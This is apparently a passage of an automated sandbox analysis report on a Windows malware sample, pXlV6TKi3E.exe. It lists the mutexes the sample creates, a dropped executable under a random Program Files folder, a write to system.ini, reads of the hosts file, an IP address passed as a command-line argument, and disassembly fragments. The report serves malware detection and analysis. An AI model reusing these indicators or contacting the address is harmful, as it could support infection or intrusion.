      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6288_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\smartscreen.exeM_4100_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6128_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\spoolsv.exeM_2000_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\backgroundtaskhost.exeM_4932_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_4780_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_1760_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6168_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5948_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6104_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1276_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_3236_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5340_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5992_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1824_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2232_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5324_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2256_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4320_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4776_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_3080_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6120_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\explorer.exeM_3452_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6160_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2272_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3200_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3660_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2976_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6036_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5844_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5052_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\lsass.exeM_616_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5832_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1540_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5460_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_5392_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5484_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\services.exeM_580_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5496_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2372_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_3172_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\pxlv6tki3e.exeM_4600_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_2948_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1744_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6000_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\uxJLpe1m
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6052_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_3864_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6336_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_368_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6324_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_3468_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6312_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6388_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3324_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5748_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\wmiprvse.exeM_4836_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5736_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1080_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5776_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5592_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5764_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\backgroundtaskhost.exeM_1096_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2044_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5564_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\wininit.exeM_476_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5524_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_4912_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1204_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\csrss.exeM_396_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_972_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_4952_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\fontdrvhost.exeM_696_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_5116_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2736_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3088_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\wmiprvse.exeM_4768_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1312_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\registryM_88_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1376_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2328_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1364_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\dwm.exeM_960_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5632_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5240_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\dllhost.exeM_3716_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5696_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_896_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1528_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1924_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1936_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2120_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5224_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2564_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1544_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1148_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6260_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\dllhost.exeM_3180_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6232_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\memory compressionM_1420_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\searchui.exeM_4068_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6296_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3584_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_4340_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5928_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_4392_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5956_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1640_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5920_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\audiodg.exeM_6948_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5984_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_3212_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5344_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\ctfmon.exeM_3260_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1804_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_3084_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\winlogon.exeM_568_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2212_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\shellexperiencehost.exeM_3908_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_4704_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\hxtsr.exeM_4456_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\sgrmbroker.exeM_7100_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6176_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6112_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1816_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2280_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_4332_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6152_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_4480_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\sihost.exeM_2936_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\fontdrvhost.exeM_704_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6016_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6028_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1736_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2340_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5892_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6060_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_6972_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\smss.exeM_300_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5448_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6044_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_4876_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1044_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_4592_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6344_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5728_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5716_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6304_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5756_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_352_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5188_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1492_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5572_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5784_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_720_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5584_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5532_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_6644_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5556_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4132_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1656_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5504_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3004_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6224_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5648_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_5164_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_800_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_472_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5688_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\wmiprvse.exeM_5076_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_852_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5640_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5220_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_6968_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCommand line argument: 154.23.184.710_2_00401420
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile written: C:\Windows\system.iniJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: pXlV6TKi3E.exeStatic file information: File size 1055286 > 1048576
      Source: pXlV6TKi3E.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
      Source: Binary string: Wyniki.pdb.obj source: SearchUI.exe, 00000014.00000000.402099422.000001CDDD7E0000.00000004.00000001.00020000.00000000.sdmp
      Source: Binary string: C:\Users\Administrator\Desktop\mfc\Release\mfc.pdbX source: pXlV6TKi3E.exe, 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmp
      Source: Binary string: C:\Users\Administrator\Desktop\mfc\Release\mfc.pdb source: pXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmp
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432000 push ebp; retf 0_2_004320C2
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432000 push edx; retf 0_2_0043211E
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432000 push eax; retf 0_2_0043212A
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_004320D9 push edx; retf 0_2_004320DA
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_004320F0 push eax; retf 0_2_004320F2
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432141 push edi; retf 0_2_00432142
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432144 push ebx; retf 0_2_00432132
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432144 push ebx; retf 0_2_004321CA
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_0043211C push edx; retf 0_2_0043211E
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432124 push esi; retf 0_2_00432126
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432128 push eax; retf 0_2_0043212E
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432131 push ebx; retf 0_2_00432132
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_004321E4 push eax; retf 0_2_004321E5
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_004321E8 push ebp; iretd 0_2_004321EE
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432260 push 414074CBh; retf 0_2_00432276
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432209 push edi; iretd 0_2_0043220A
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432219 push 540074CBh; retf 0_2_0043221E
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432235 push ebp; iretd 0_2_0043223E
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00432291 push 548074CBh; retf 0_2_00432296
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeCode function: 32_2_00751832 push ebp; ret 32_2_00751833
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeCode function: 32_2_0075044E push edi; retf 32_2_0075044F
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeCode function: 32_2_00751489 push ebp; ret 32_2_0075148A
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeCode function: 33_2_00501489 push ebp; ret 33_2_0050148A
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeCode function: 33_2_0050044E push edi; retf 33_2_0050044F
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeCode function: 33_2_00501832 push ebp; ret 33_2_00501833
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeCode function: 34_2_00CD044E push edi; retf 34_2_00CD044F
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeCode function: 34_2_00CD1489 push ebp; ret 34_2_00CD148A
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeCode function: 34_2_00CD1832 push ebp; ret 34_2_00CD1833
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeCode function: 35_2_003A1832 push ebp; ret 35_2_003A1833
